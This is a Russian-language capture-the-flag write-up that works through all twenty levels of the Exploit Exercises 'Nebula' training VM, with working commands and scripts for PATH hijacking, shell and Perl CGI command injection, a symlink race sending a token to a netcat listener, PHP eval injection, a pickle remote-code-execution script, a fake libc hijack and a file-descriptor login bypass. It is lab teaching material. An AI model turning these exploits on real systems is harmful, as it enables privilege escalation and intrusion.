Всем доброго времени суток, спасибо, что читаете мои райтапы.
Сегодня речь пойдёт ещё об одном сайте, который похож на VulnHub. Это Exploit Exercises. Несмотря на небольшое количество виртуалок, и их относительно давнюю публикацию, почерпнуть что-то новое можно и там. Тем более это компенсируется разнообразием и количеством уровней.
Начать предлагается с виртуальной машины под названием Nebula. Её мы сегодня и разберём.
Всего имеется 20 уровней, по следующим тематикам:
- SUID files
- Permissions
- Race conditions
- Shell meta-variables
- $PATH weaknesses
- Scripting language weaknesses
- Binary compilation failures
Для каждого уровня создан отдельный пользователь levelXX, и пользователь flagXX привилегии которого нужно получить, для того чтобы выполнить от его имени команду getflag. Начнём!
Level00
Нас просят используя find найти и запустить SUID программу пользователя flag00. Ищем:
level00@nebula:~$ find / -user flag00 2>/dev/null
/bin/.../flag00
Запускаем:
level00@nebula:~$ /bin/.../flag00
Congrats, now run getflag to get your flag!
flag00@nebula:~$ getflag
You have successfully executed getflag on a target account
Level01
Дан исходник уязвимого приложения, нужно выполнить getflag:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
system("/usr/bin/env echo and now what?");
}
Вот, что бывает когда доверяешь env :)
level01@nebula:~$ cd /tmp/
level01@nebula:/tmp$ ln -s /bin/getflag echo
level01@nebula:/tmp$ PATH=/tmp:$PATH
level01@nebula:/tmp$ env echo
getflag is executing on a non-flag account, this doesn't count
level01@nebula:/tmp$ /home/flag01/flag01
You have successfully executed getflag on a target account
Level02
Ещё один пример уязвимой программы, которая доверяет переменным окружения:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
char *buffer;
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
buffer = NULL;
asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
printf("about to call system("%s")n", buffer);
system(buffer);
}
Просто меняем $USER:
level02@nebula:~$ USER="12|getflag"
level02@nebula:~$ /home/flag02/flag02
about to call system("/bin/echo 12|getflag is cool")
You have successfully executed getflag on a target account
Level03
Тут сорцев нет, но есть crontab, и опасные права для директории:
#!/bin/sh
for i in /home/flag03/writable.d/* ; do
(ulimit -t 5; bash -x "$i")
rm -f "$i"
done
level03@nebula:/home/flag03$ ls -ahl
drwxrwxrwx 1 flag03 flag03 60 2017-01-12 00:30 writable.d/
-rwxr-xr-x 1 flag03 flag03 98 2011-11-20 21:22 writable.sh*
level03@nebula:/home/flag03$ echo "getflag >> /tmp/flag" > writable.d/flag.sh
Спустя некоторое время:
level03@nebula:/home/flag03$ cat /tmp/flag
You have successfully executed getflag on a target account
*/3 * * * * /home/flag03/writable.sh
Level04
А тут нас просят, используя эту программу, прочитать содержимое файла token:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
int main(int argc, char **argv, char **envp)
{
char buf[1024];
int fd, rc;
if(argc == 1) {
printf("%s [file to read]n", argv[0]);
exit(EXIT_FAILURE);
}
if(strstr(argv[1], "token") != NULL) {
printf("You may not access '%s'n", argv[1]);
exit(EXIT_FAILURE);
}
fd = open(argv[1], O_RDONLY);
if(fd == -1) {
err(EXIT_FAILURE, "Unable to open %s", argv[1]);
}
rc = read(fd, buf, sizeof(buf));
if(rc == -1) {
err(EXIT_FAILURE, "Unable to read fd %d", fd);
}
write(1, buf, rc);
}
level04@nebula:~$ ll /home/flag04
-rwsr-x--- 1 flag04 level04 7428 2011-11-20 21:52 flag04*
-rw------- 1 flag04 flag04 37 2011-11-20 21:52 token
Раз файл не должен содержать «token», он не будет содержать «token»:
level04@nebula:~$ /home/flag04/flag04
/home/flag04/flag04 [file to read]
level04@nebula:~$ /home/flag04/flag04 token
You may not access 'token'
level04@nebula:~$ ln -s /home/flag04/token /tmp/flag04lnk
level04@nebula:~$ /home/flag04/flag04 /tmp/flag04lnk
06508b5e-8909-4f38-b630-fdb148a848a2
Level05
На этом уровне нас ждут не верно выставленные права для директории:
level05@nebula:~$ ll /home/flag05/
drwxr-xr-x 2 flag05 flag05 42 2011-11-20 20:13 .backup/
-rw-r--r-- 1 flag05 flag05 220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag05 flag05 3353 2011-05-18 02:54 .bashrc
-rw-r--r-- 1 flag05 flag05 675 2011-05-18 02:54 .profile
drwx------ 2 flag05 flag05 70 2011-11-20 20:13 .ssh/
Резервные копии это хорошо, посмотрим что там:
level05@nebula:~$ ll /home/flag05/.backup/
-rw-rw-r-- 1 flag05 flag05 1826 2011-11-20 20:13 backup-19072011.tgz
level05@nebula:~$ tar -xvf /home/flag05/.backup/backup-19072011.tgz
.ssh/
.ssh/id_rsa.pub
.ssh/id_rsa
.ssh/authorized_keys
Превосходно, приватный ssh-ключ. Подключаемся и выполняем getflag:
level05@nebula:~$ ssh -i .ssh/id_rsa flag05@127.0.0.1
flag05@nebula:~$ getflag
You have successfully executed getflag on a target account
Level06
В описании говорится про учетные данные из прошлых версий Unix.
level06@nebula:~$ cat /etc/passwd | grep flag06
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
Скармливаем хеш John'у, который определяет его как слово hello. Авторизуемся и забираем «флаг»:
level06@nebula:~$ ssh flag06@127.0.0.1
flag06@nebula:~$ getflag
You have successfully executed getflag on a target account
Level07
Пользователь flag07 написал своё первое приложение на Perl:
#!/usr/bin/perl
use CGI qw{param};
print "Content-type: text/htmlnn";
sub ping {
$host = $_[0];
print("<html><head><title>Ping results</title></head><body><pre>");
@output = `ping -c 3 $host 2>&1`;
foreach $line (@output) { print "$line"; }
print("</pre></body></html>");
}
# check if Host set. if not, display normal page, etc
ping(param("Host"));
Тут у нас отсутствие фильтрации параметров в переменной $host. Проверим порт, на котором оно висит:
level07@nebula:~$ cat /home/flag07/thttpd.conf | grep port
port=7007
И успешно проэксплуатируем:
Level08
Нас просят посмотреть дамп трафика и авторизоваться. Скачиваем его себе:
level08@nebula:~$ ls -lh /home/flag08
-rw-r--r-- 1 root root 8302 2011-11-20 21:22 capture.pcap
$ scp level08@10.0.31.116:/home/flag08/capture.pcap ./
Посмотрим что там:
Странно что в пароле присутствуют непечатаемые символы, после извлечения HEX дампа этого пароля и некоторого преобразования, получаем такой результат:
62 => "b"; 61 => "a"; 63 => "c"; 6b => "k"; 64 => "d"; 6f => "o"; 6f => "o"; 72 => "r"; 7f => "."; 7f => "."; 7f => "."; 30 => "0"; 30 => "0"; 52 => "R"; 6d => "m"; 38 => "8"; 7f => "."; 61 => "a"; 74 => "t"; 65 => "e"; 0d => "."
Гугл быстро подсказал, что xterm использует байт 0x7f в качестве Backspace. Таким образом пароль: backd00Rmate
Коннектимся и запускаем getflag:
$ ssh 10.0.31.116 -l flag08
flag08@nebula:~$ getflag
You have successfully executed getflag on a target account
Level09
Нам доступна SUID обёртка на С для уязвимого PHP скрипта:
<?php
function spam($email)
{
$email = preg_replace("/./", " dot ", $email);
$email = preg_replace("/@/", " AT ", $email);
return $email;
}
function markup($filename, $use_me)
{
$contents = file_get_contents($filename);
$contents = preg_replace("/([email (.*)])/e", "spam("\2")", $contents);
$contents = preg_replace("/[/", "<", $contents);
$contents = preg_replace("/]/", ">", $contents);
return $contents;
}
$output = markup($argv[1], $argv[2]);
print $output;
?>
Строка $contents = preg_replace("/([email (.*)])/e", «spam(»\2")", $contents); довольно интересна:
- Если содержимое совпадает с регулярным выражением: "/([email (.*)])/";
- Оно заменяется на функцию spam, которая в качестве аргумента принимает значение в круглых скобках. А затем выполняется
Мы можем отправить любую команду:
level09@nebula:~$ echo '[email {${system($use_me)}}]' > /tmp/eval
level09@nebula:~$ /home/flag09/flag09 /tmp/eval getflag
You have successfully executed getflag on a target account
Level10
Программа которая полагаясь на access() отправляет по сети любой файл:
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
int main(int argc, char **argv)
{
char *file;
char *host;
if(argc < 3) {
printf("%s file hostntsends file to host if you have access to itn", argv[0]);
exit(1);
}
file = argv[1];
host = argv[2];
if(access(argv[1], R_OK) == 0) {
int fd;
int ffd;
int rc;
struct sockaddr_in sin;
char buffer[4096];
printf("Connecting to %s:18211 .. ", host); fflush(stdout);
fd = socket(AF_INET, SOCK_STREAM, 0);
memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(host);
sin.sin_port = htons(18211);
if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
printf("Unable to connect to host %sn", host);
exit(EXIT_FAILURE);
}
#define HITHERE ".oO Oo.n"
if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
printf("Unable to write banner to host %sn", host);
exit(EXIT_FAILURE);
}
#undef HITHERE
printf("Connected!nSending file .. "); fflush(stdout);
ffd = open(file, O_RDONLY);
if(ffd == -1) {
printf("Damn. Unable to open filen");
exit(EXIT_FAILURE);
}
rc = read(ffd, buffer, sizeof(buffer));
if(rc == -1) {
printf("Unable to read from file: %sn", strerror(errno));
exit(EXIT_FAILURE);
}
write(fd, buffer, rc);
printf("wrote file!n");
} else {
printf("You don't have access to %sn", file);
}
}
Идея проста, так как сначала проверяется доступ к запрашиваемому файлу, а уже потом он отправляется, то используя ссылки, нужно поймать момент, когда:
- Ссылка будет указывать на файл, доступ к которому имеется;
- access() проверит этот файл;
- Ссылка изменится на файл, доступа к которому у нас нет;
- Программа успешно нам его отправит
Реализуем это. Циклом меняем ссылки:
level10@nebula:/tmp$ echo "token" > /tmp/token
level10@nebula:/tmp$ while true; do ln -sf /home/flag10/token flag10; ln -sf /tmp/token flag10; done
В другом окне запускаем цикл, который будет отправлять файл по ссылке:
level10@nebula:~$ while true; do /home/flag10/flag10 /tmp/flag10 10.0.31.183; done
У себя запускаем nc для прослушивания порта и вывода полученных данных:
while true; do nc -l -p 18211 > flag10; cat flag10 | grep -v token | grep -v ".oO Oo."; done
И практически сразу получаем токен:
token = 615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
Используя его как пароль, логинимся под пользователем flag10:
level10@nebula:/tmp$ ssh flag10@localhost
flag10@nebula:~$ getflag
You have successfully executed getflag on a target account
Level11
Есть программа, которая читает STDIN и выполняет его:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>
/*
* Return a random, non predictable file, and return the file descriptor for it.
*/
int getrand(char **path)
{
char *tmp;
int pid;
int fd;
srandom(time(NULL));
tmp = getenv("TEMP");
pid = getpid();
asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
'A' + (random() % 26), '0' + (random() % 10),
'a' + (random() % 26), 'A' + (random() % 26),
'0' + (random() % 10), 'a' + (random() % 26));
fd = open(*path, O_CREAT|O_RDWR, 0600);
unlink(*path);
return fd;
}
void process(char *buffer, int length)
{
unsigned int key;
int i;
key = length & 0xff;
for(i = 0; i < length; i++) {
buffer[i] ^= key;
key -= buffer[i];
}
system(buffer);
}
#define CL "Content-Length: "
int main(int argc, char **argv)
{
char line[256];
char buf[1024];
char *mem;
int length;
int fd;
char *path;
if(fgets(line, sizeof(line), stdin) == NULL) {
errx(1, "reading from stdin");
}
if(strncmp(line, CL, strlen(CL)) != 0) {
errx(1, "invalid header");
}
length = atoi(line + strlen(CL));
if(length < sizeof(buf)) {
if(fread(buf, length, 1, stdin) != length) {
err(1, "fread length");
}
process(buf, length);
} else {
int blue = length;
int pink;
fd = getrand(&path);
while(blue > 0) {
printf("blue = %d, length = %d, ", blue, length);
pink = fread(buf, 1, sizeof(buf), stdin);
printf("pink = %dn", pink);
if(pink <= 0) {
err(1, "fread fail(blue = %d, length = %d)", blue, length);
}
write(fd, buf, pink);
blue -= pink;
}
mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
if(mem == MAP_FAILED) {
err(1, "mmap");
}
process(mem, length);
}
}
Но не всё так просто. Авторы пишут что есть, 2 решения, но как оказалось позже оба не работают. Но обо всём по порядку:
Сначала нас просят указать количество отправляемых байт, а затем в зависимости от этого количества, строка либо сразу передаётся в функцию process, либо предварительно данные копируются в память.
Функция process, XOR'ит их и затем отдаёт в system. Следовательно, нам нужно отправить строку, которая уже будет обработана XOR'ом:
#!/usr/bin/python
cmd = "/bin/getflagx00"
length = 1024
key = length & 0xff
enc = ''
for i in range(len(cmd)):
char_byte = ord(cmd[i]) ^ key
enc += chr(char_byte & 0xff)
key = (key - ord(cmd[i])) & 0xff
if length != len(cmd):
junk = "A" * (length - len(cmd))
print( "Content-Length: %dn%s%s" %(length, enc, junk) )
else:
print( "Content-Length: %dn%s" %(length, enc) )
Запускаем и ничего:
level11@nebula:~$ export TEMP=/tmp
level11@nebula:~$ python /tmp/flag11.py | /home/flag11/flag11
blue = 1024, length = 1024, pink = 1024
getflag is executing on a non-flag account, this doesn't count
В документации к функции system, находим это:
Не используйте system() в программах с привилегиями suid или sgid, потому что некоторые значения переменных окружения могут вызвать сбои в системе. Вместо нее рекомендуется использование семейства функций exec(3), но не execlp(3) или execvp(3). system() неправильно функционирует в программах с привилегиями suid или sgid тех систем, где /bin/sh заменено на bash версии 2, так как bash 2 обнуляет права при запуске. Debian использует измененный bash, который не производит при запуске этого действия так, как это делает sh.
Bash всех подвёл:
level11@nebula:/home/flag11$ ll /bin/sh
lrwxrwxrwx 1 root root 9 2011-11-20 20:38 /bin/sh -> /bin/bash*
P.S. Проверив это на отдельно скомпилированном бинарнике, получаем тоже самое. Гугл результатов не дал, видимо авторы обновили bash, а обновить задание забыли...
Level12
Как сказано в описании: бэкдор на 50001 порту. Хм, посмотрим:
local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))
function hash(password)
prog = io.popen("echo "..password.." | sha1sum", "r")
data = prog:read("*all")
prog:close()
data = string.sub(data, 1, 40)
return data
end
while 1 do
local client = server:accept()
client:send("Password: ")
client:settimeout(60)
local line, err = client:receive()
if not err then
print("trying " .. line) -- log from where ;
local h = hash(line)
if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
client:send("Better luck next timen");
else
client:send("Congrats, your token is 413**CARRIER LOST**n")
end
end
client:close()
end
И так, снова отсутствие фильтрации введённых данных. Добавим комментарий:
level12@nebula:~$ nc 127.0.0.1 50001
Password: 4754a4f4bd5787accd33de887b9250a0691dd198 #
Congrats, your token is 413**CARRIER LOST**
Ок, это сработало, попробуем нечто другое: 123; getflag > /tmp/flag12 #
level12@nebula:~$ nc 127.0.0.1 50001
Password: 123 ; getflag > /tmp/flag12 #
Better luck next time
level12@nebula:~$ cat /tmp/flag12
You have successfully executed getflag on a target account
level12@nebula:~$
Level13
Дан исходник, а самое главное вырезали, не хорошо:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>
#define FAKEUID 1000
int main(int argc, char **argv, char **envp)
{
int c;
char token[256];
if(getuid() != FAKEUID) {
printf("Security failure detected. UID %d started us, we expect %dn", getuid(), FAKEUID);
printf("The system administrators will be notified of this violationn");
exit(EXIT_FAILURE);
}
// snip, sorry :)
printf("your token is %sn", token);
}
Извлекаем строки:
level13@nebula:~$ strings /home/flag13/flag13
8mjomjh8wml;bwnh8jwbbnnwi;>;88?o;9ob
your token is %s
Дизассемблировав приложение в gdb, находим интересную строку:
0x080485a2 <+222>: xor $0x5a,%edx
У нас есть строка: 8mjomjh8wml;bwnh8jwbbnnwi;>;88?o;9ob, у нас есть ключ: 0x5a, у нас есть операция: xor. Отправляем это в Python:
>>> ''.join([chr(ord(x)^0x5a) for x in '8mjomjh8wml;bwnh8jwbbnnwi;>;88?o;9ob'])
>>> 'b705702b-76a8-42b0-8844-3adabbe5ac58'
И успешно проходим авторизацию:
level13@nebula:~$ su flag13
Password: b705702b-76a8-42b0-8844-3adabbe5ac58
sh-4.2$ id
uid=986(flag13) gid=986(flag13) groups=986(flag13)
sh-4.2$ getflag
You have successfully executed getflag on a target account
Level14
Дана программа, которая шифрует всё что идёт на STDIN и отправляет в STDOUT, и есть токен, который нас просят расшифровать:
level14@nebula:~$ cat /home/flag14/token
857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW.
Посмотрим на алгоритм в IDA:
Ну всё просто, 1 строка на Python:
>>> ''.join([chr(ord(a[i])-i) for i in range(len(a))])
>>> '8457c118-887c-4e40-a5a6-33a25353165x0b'
Токен у нас, остался последний шаг:
level14@nebula:~$ su - flag14
Password: 8457c118-887c-4e40-a5a6-33a25353165
flag14@nebula:~$ getflag
You have successfully executed getflag on a target account
Level15
Нас просят посмотреть вывод команды strace, на наличие аномалий:
level15@nebula:~$ strace /home/flag15/flag15
brk(0) = 0x8d3a000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb773b000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15", {st_mode=S_IFDIR|0775, st_size=3, ...}) = 0
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=33815, ...}) = 0
mmap2(NULL, 33815, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7732000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY) = 3
read(3, "177ELF111331p2221004"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1544392, ...}) = 0
mmap2(NULL, 1554968, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x110000
mmap2(0x286000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x176) = 0x286000
mmap2(0x289000, 10776, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x289000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7731000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb77318d0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0x286000, 8192, PROT_READ) = 0
mprotect(0x8049000, 4096, PROT_READ) = 0
mprotect(0xae4000, 4096, PROT_READ) = 0
munmap(0xb7732000, 33815) = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb773a000
write(1, «strace it!n», 11strace it!
) = 11
exit_group(11)
Странно что программа пытается подгрузить либы из /var/tmp/flag15/. Попробуем подсунуть ему свою libc.so.6:
#include <stdio.h>
int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), vo$
{
execv("/bin/getflag", NULL);
return 0;
}
Компилим и запускаем:
level15@nebula:/var/tmp/flag15$ gcc -shared -static-libgcc -fPIC -Wl,--version-script=vers,-Bstatic -o libc.so.6 fake_lib.c
level15@nebula:/var/tmp/flag15$ /home/flag15/flag15
You have successfully executed getflag on a target account
Level16
Очередное Perl CGI приложение, которое висит на 1616 порту:
#!/usr/bin/env perl
use CGI qw{param};
print "Content-type: text/htmlnn";
sub login {
$username = $_[0];
$password = $_[1];
$username =~ tr/a-z/A-Z/; # conver to uppercase
$username =~ s/s.*//; # strip everything after a space
@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
foreach $line (@output) {
($usr, $pw) = split(/:/, $line);
if($pw =~ $password) {
return 1;
}
}
return 0;
}
sub htmlz {
print("<html><head><title>Login resuls</title></head><body>");
if($_[0] == 1) {
print("Your login was accepted<br/>");
} else {
print("Your login failed<br/>");
}
print("Would you like a cookie?<br/><br/></body></html>n");
}
htmlz(login(param("username"), param("password")));
Содержимое $username сначала переводится в верхний регистр, а затем отправляется на исполнение через оператор ``.
Попытка, вставить команду, которая закрыла бы egrep, не увенчалась успехом. Но мы можем попробовать обойти верхний регистр с помощью метода из этой статьи:
level16@nebula:/tmp$ cat FLAG
#!/bin/bash
getflag > /tmp/flag16log
Переходим в браузере по ссылке:
10.0.31.116:1616/index.cgi?username=`/*/FLAG`
И выводим наш флаг:
level16@nebula:/tmp$ cat flag16log
You have successfully executed getflag on a target account
Level17
Как сказано в описании: Этот скрипт слушает порт 10007 и имеет уязвимость. Очень многословно.
#!/usr/bin/python
import os
import pickle
import time
import socket
import signal
signal.signal(signal.SIGCHLD, signal.SIG_IGN)
def server(skt):
line = skt.recv(1024)
obj = pickle.loads(line)
for i in obj:
clnt.send("why did you send me " + i + "?n")
skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
skt.bind(('0.0.0.0', 10007))
skt.listen(10)
while True:
clnt, addr = skt.accept()
if(os.fork() == 0):
clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1]))
server(clnt)
exit(1)
Но уязвимость есть, она в строке: obj = pickle.loads(line). Вот тут можно подробней узнать об её эксплуатации. Напишем скрипт для исполнения команд:
#!/usr/bin/python
import socket
import pickle
host = '10.0.31.116'
port = 10007
cmd = '''cos
system
(S'getflag > /tmp/flag17'
tR'''
s = socket.socket()
s.connect((host, port))
data = s.recv(1024)
print(data)
s.send(cmd)
s.close()
После запуска получаем RCE:
$ ./flag17.py
Accepted connection from 10.0.31.183:50700
level17@nebula:~$ cat /tmp/flag17
You have successfully executed getflag on a target account
Level18
Нас просят проанализировать исходник и найти уязвимости. Сделаем это:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <getopt.h>
struct {
FILE *debugfile;
int verbose;
int loggedin;
} globals;
#define dprintf(...) if(globals.debugfile)
fprintf(globals.debugfile, __VA_ARGS__)
#define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num)
fprintf(globals.debugfile, __VA_ARGS__)
#define PWFILE "/home/flag18/password"
void login(char *pw)
{
FILE *fp;
fp = fopen(PWFILE, "r");
if(fp) {
char file[64];
if(fgets(file, sizeof(file) - 1, fp) == NULL) {
dprintf("Unable to read password file %sn", PWFILE);
return;
}
fclose(fp);
if(strcmp(pw, file) != 0) return;
}
dprintf("logged in successfully (with%s password file)n",
fp == NULL ? "out" : "");
globals.loggedin = 1;
}
void notsupported(char *what)
{
char *buffer = NULL;
asprintf(&buffer, "--> [%s] is unsupported at this current time.n", what);
dprintf(what);
free(buffer);
}
void setuser(char *user)
{
char msg[128];
sprintf(msg, "unable to set user to '%s' -- not supported.n", user);
printf("%sn", msg);
}
int main(int argc, char **argv, char **envp)
{
char c;
while((c = getopt(argc, argv, "d:v")) != -1) {
switch(c) {
case 'd':
globals.debugfile = fopen(optarg, "w+");
if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg);
setvbuf(globals.debugfile, NULL, _IONBF, 0);
break;
case 'v':
globals.verbose++;
break;
}
}
dprintf("Starting up. Verbose level = %dn", globals.verbose);
setresgid(getegid(), getegid(), getegid());
setresuid(geteuid(), geteuid(), geteuid());
while(1) {
char line[256];
char *p, *q;
q = fgets(line, sizeof(line)-1, stdin);
if(q == NULL) break;
p = strchr(line, 'n'); if(p) *p = 0;
p = strchr(line, 'r'); if(p) *p = 0;
dvprintf(2, "got [%s] as inputn", line);
if(strncmp(line, "login", 5) == 0) {
dvprintf(3, "attempting to loginn");
login(line + 6);
} else if(strncmp(line, "logout", 6) == 0) {
globals.loggedin = 0;
} else if(strncmp(line, "shell", 5) == 0) {
dvprintf(3, "attempting to start shelln");
if(globals.loggedin) {
execve("/bin/sh", argv, envp);
err(1, "unable to execve");
}
dprintf("Permission deniedn");
} else if(strncmp(line, "logout", 4) == 0) {
globals.loggedin = 0;
} else if(strncmp(line, "closelog", 8) == 0) {
if(globals.debugfile) fclose(globals.debugfile);
globals.debugfile = NULL;
} else if(strncmp(line, "site exec", 9) == 0) {
notsupported(line + 10);
} else if(strncmp(line, "setuser", 7) == 0) {
setuser(line + 8);
}
}
return 0;
}
- void notsupported(char *what) -> dprintf(what); # А вот и уязвимость форматной строки
- void login(char *pw) -> fp = fopen(PWFILE, «r»); # Файл открывается, но, его никто не закрывает
Остановимся на функции login, тем более как раз она отвечает за авторизацию. Попробуем создать очень много файловых дескрипторов. В результате, fopen должна вернуть NULL, а затем судя по коду, выставится флаг авторизации. Нам нужно будет только запустить shell:
python -c 'print("login men"*2000 +"closelognshell")' | ./flag18 --init-file -d /dev/tty
Получаем кучу сообщений об авторизации, и собственно шелл:
logged in successfully (without password file)
ls
flag18 password
cat password
44226113-d394-4f46-9406-91888128e27a
getflag
You have successfully executed getflag on a target account
Level19
В описании к уровню говорится о том, что в программе есть ошибка, и искать её нужно в рантайме:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>
int main(int argc, char **argv, char **envp)
{
pid_t pid;
char buf[256];
struct stat statbuf;
/* Get the parent's /proc entry, so we can verify its user id */
snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());
/* stat() it */
if(stat(buf, &statbuf) == -1) {
printf("Unable to check parent processn");
exit(EXIT_FAILURE);
}
/* check the owner id */
if(statbuf.st_uid == 0) {
/* If root started us, it is ok to start the shell */
execve("/bin/sh", argv, envp);
err(1, "Unable to execve");
}
printf("You are unauthorized to run this programn");
}
Судя по коду, нужно, чтобы процесс был как-то запущен с UID=0. После некоторых поисков, находим статью, из которой узнаём, что если создать форк процесса, а затем убить его родителя, то система автоматически назначит этому форку нового родителя: процесс с PID=1 или так называемый init.
На Python, реализация такого подхода выглядит следующим образом:
#!/usr/bin/python
import os, time
def child():
print 'Child ', os.getpid()
time.sleep(1)
print "Running shell..."
os.execv("/home/flag19/flag19", ('sh',))
def parent():
newpid = os.fork()
if newpid == 0:
child()
else:
pids = (os.getpid(), newpid)
print "parent: %d, child: %d" % pids
parent()
После запуска, получаем нужный нам шелл:
